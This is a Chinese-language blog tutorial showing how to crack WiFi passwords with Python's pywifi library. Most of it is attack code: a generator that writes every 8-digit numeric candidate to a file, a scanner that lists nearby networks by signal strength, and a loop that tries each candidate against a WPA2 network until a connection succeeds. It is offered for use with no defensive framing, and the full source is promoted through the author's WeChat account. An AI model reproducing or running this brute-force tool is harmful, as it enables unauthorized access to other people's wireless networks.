版權聲明:原創不易,本文禁止抄襲、轉載,侵權必究! 一、pywifi簡介&安裝 開發環境:Windows10 Python3.6.4 第三方庫:pywifi-1.1.12 IDE :PyCharm/Sublime Text pywifi簡介: pywifi是python中一個用於操作無線介面的第三方 ...
版權聲明:原創不易,本文禁止抄襲、轉載,侵權必究!
一、pywifi簡介&安裝
開發環境:Windows10 Python3.6.4
第三方庫:pywifi-1.1.12
IDE :PyCharm/Sublime Text
pywifi簡介:
pywifi是python中一個用於操作無線介面的第三方庫,可以跨平臺使用,支持Windows和Linux,在這裡我們用來執行wifi的操作,包括連接、掃描、斷開等
pywifi安裝:
pip install comtypes -i https://pypi.doubanio.com/simple pip install pywifi -i https://pypi.doubanio.com/simple
pywifi-1.1.12依賴於comtypes,所以也需要安裝一下comtypes
二、暴力構建WiFi密碼
WiFi密碼一般由數字(0-9)、字母(區分大小寫)以及特殊字元(!@#&*.等)組成,為了方便教程的演示,這裡僅顯示由數字組成的8位字元,作為wifi密碼存入txt文檔,有些WiFi密碼可能稍微複雜一點,延長字元長度或增加字母、特殊字元就行
代碼如下:
astring = "1234567890" #可添加字母和特殊字元 pwds = it.product(astring, repeat=8) #8位密碼長度 with open('pwd.txt', 'a', encoding='utf-8') as f: for pwd in pwds: f.write(''.join(pwd)) f.write(''.join('\n'))
有10位數字組成的暴力破解WiFi密碼共有100000000種,記憶體占用約953.67MB,由此可見,暴力破解對記憶體的要求比較高
三、編碼破解WiFi
WiFi掃描編碼:
interface = self.wifi.interfaces()[0] #使用索引序號0獲取第一個無線網卡 interface.scan() print('掃描WiFi中,請稍後………………') time.sleep(1) print('掃描完成!\n' + '*' * 50) print('\n%s\t%s\t%s' % ('WiFi編號', 'WiFi信號', 'WiFi名稱')) wifiList = interface.scan_results() #返回一個列表 wifiNewList = [] for w in wifiList: wifiNameAndSignal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8')) #解決亂碼問題並返回元組 wifiNewList.append(wifiNameAndSignal) wifi_signal_and_name_list = sorted(wifiNewList, key=lambda i: i[0], reverse=True) # 按信號強度倒序 index = 0 while index < len(wifi_signal_and_name_list): print('%s\t\t\t%s\t\t\t%s' % (index, wifi_signal_and_name_list[index][0], wifi_signal_and_name_list[index][1])) index += 1 print('\n' + '*' * 50)
掃描效果如下:
WiFi破解編碼:
profile = pywifi.Profile() #創建連接文件(對象) profile.ssid = wifiName #wifi名稱 profile.auth = const.AUTH_ALG_OPEN #需要認證 profile.akm.append(const.AKM_TYPE_WPA2PSK) #wifi預設加密演算法 profile.cipher = const.CIPHER_TYPE_CCMP profile.key = pwd interface.remove_all_network_profiles() #刪除所有wifi連接文件 tmp_profile = interface.add_network_profile(profile) #設置新的wifi連接文件 interface.connect(tmp_profile) #開始嘗試連接 startTime = time.time() while time.time() - startTime < 1.5: if interface.status() == 4: print('連接成功!密碼為:%s' % pwd) exit(0) else: print('正在用密碼 %s 嘗試破解…………' % pwd)
完整破解效果如下:
四、完整源碼下載
關註我的原創公眾號【小鴻星空科技】,回覆【Python破解WiFi】關鍵詞獲取完整源碼
五、作者Info
Author:南柯樹下,Goal:讓編程更有趣!
原創微信公眾號:『小鴻星空科技』,專註於演算法、爬蟲,網站,游戲開發,數據分析、自然語言處理,AI等,期待你的關註,讓我們一起成長、一起Coding!
版權聲明:本文禁止抄襲、轉載 ,侵權必究!
—— —— —— —— — END —— —— —— —— ————
歡迎掃碼關註我的公眾號
小鴻星空科技